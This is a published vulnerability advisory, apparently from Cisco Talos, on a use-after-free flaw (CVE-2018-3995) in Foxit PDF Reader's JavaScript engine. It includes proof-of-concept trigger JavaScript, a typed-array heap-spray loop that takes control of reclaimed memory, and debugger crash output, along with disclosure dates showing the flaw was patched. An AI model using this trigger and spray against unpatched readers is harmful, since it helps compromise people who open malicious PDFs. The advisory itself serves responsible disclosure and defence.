CVE-2018-3995
An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 9.2.0.9297. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.
Foxit Software Foxit PDF Reader 9.2.0.9297.
https://www.foxitsoftware.com/products/pdf-reader/
8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE-416: Use After Free
Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.
When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Accessing a variable which keeps a reference to a stale object can lead to a use-after-free condition.
This particular vulnerability lies in saving a reference to SignatureInfo
object by invoking signatureInfo
method of a form field. When the document is closed, objects are freed and accessing a stale reference results in a use-after-free condition, like in the following code:
var tmp = app.activeDocs[0].getField('mydata').signatureInfo(); // save reference to SignatureInfo
app.activeDocs[0].closeDoc(); // close and free objects
tmp["docValidity"].toString(); // access property of stale reference and cause use-after-free
Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:
(fa0.16e0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=12aa4fd0 ebx=0379786c ecx=11911fd8 edx=00000000 esi=11911fd8 edi=12cf0ff8
eip=00cc762d esp=002ae67c ebp=002ae684 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
FoxitReader!CryptUIWizExport+0x17a2ad:
00cc762d 8b480c mov ecx,dword ptr [eax+0Ch] ds:0023:12aa4fdc=????????
0:000> dd eax
12aa4fd0 ???????? ???????? ???????? ????????
12aa4fe0 ???????? ???????? ???????? ????????
12aa4ff0 ???????? ???????? ???????? ????????
12aa5000 ???????? ???????? ???????? ????????
12aa5010 ???????? ???????? ???????? ????????
12aa5020 ???????? ???????? ???????? ????????
12aa5030 ???????? ???????? ???????? ????????
12aa5040 ???????? ???????? ???????? ????????
0:000> !heap -p -a eax
0:000> k 4
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 002ae684 00cc9ab0 FoxitReader!CryptUIWizExport+0x17a2ad
01 002ae6a0 00cbaa0f FoxitReader!CryptUIWizExport+0x17c730
02 002ae6f8 01c0f2e2 FoxitReader!CryptUIWizExport+0x16d68f
03 002ae738 01c5ca87 FoxitReader!FXJSE_GetClass+0x302
Analyzing the heap state clearly shows that eax
points into a freed memory region.
We can abuse typed arrays to try and fill the memory of the freed object. A simple spray of Int32Array
typed array of size 0x30 sufices in this case:
global.arr = new Array(0x100);
for (var i = 0; i < global.arr.length; i++){
global.arr[i] = new ArrayBuffer(0x30 );
var int32View = new Int32Array(global.arr[i]);
for(var j = 0; j <int32View.length ; j++){
int32View[j] = 0xeaeaeaea;
}
}
Instructions immediately following the point of crash are:
FoxitReader!CryptUIWizExport+0x17a2ad:
00cc762d 8b480c mov ecx,dword ptr [eax+0Ch]
00cc7630 85c9 test ecx,ecx
00cc7632 741b je FoxitReader!CryptUIWizExport+0x17a2cf (00cc764f)
00cc7634 8d45f8 lea eax,[ebp-8]
00cc7637 c745f8c09b3c03 mov dword ptr [ebp-8],offset FoxitReader!std::basic_ostream<char,std::char_traits<char> >::`vbtable'+0x9fec (033c9bc0)
00cc763e 50 push eax
00cc763f c745fc01000000 mov dword ptr [ebp-4],1
00cc7646 e8d4e58500 call FoxitReader!safe_vsnprintf+0x14aaf (01525c1f)
00cc764b 8be5 mov esp,ebp
00cc764d 5d pop ebp
00cc764e c3 ret
00cc764f 33c0 xor eax,eax
00cc7651 8be5 mov esp,ebp
00cc7653 5d pop ebp
00cc7654 c3 ret
We control the contents of ecx
in the first instruction since we control the contents of the reused memory. This leads to the following crash if it’s non-zero:
(134c.be0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000056 ebx=0453786c ecx=00000056 edx=00000000 esi=eaeaeafe edi=08aacdb0
eip=024ef071 esp=0030e5d4 ebp=0030e5d8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
FoxitReader!safe_vsnprintf+0x23df01:
024ef071 f77608 div eax,dword ptr [esi+8] ds:0023:eaeaeb06=????????
0:000> k 4
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0030e5d8 024ef53c FoxitReader!safe_vsnprintf+0x23df01
01 0030e5ec 022c5dba FoxitReader!safe_vsnprintf+0x23e3cc
02 0030e604 022c5c2a FoxitReader!safe_vsnprintf+0x14c4a
03 0030e610 01a6764b FoxitReader!safe_vsnprintf+0x14aba
By further manipulating memory layout and contents of reclaimed memory, the above division can succeed and then lead to more direct instruction pointer control ultimately leading to arbitrary code execution.
2018-09-10 - Vendor Disclosure
2018-09-28 - Vendor patched
2018-10-01 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.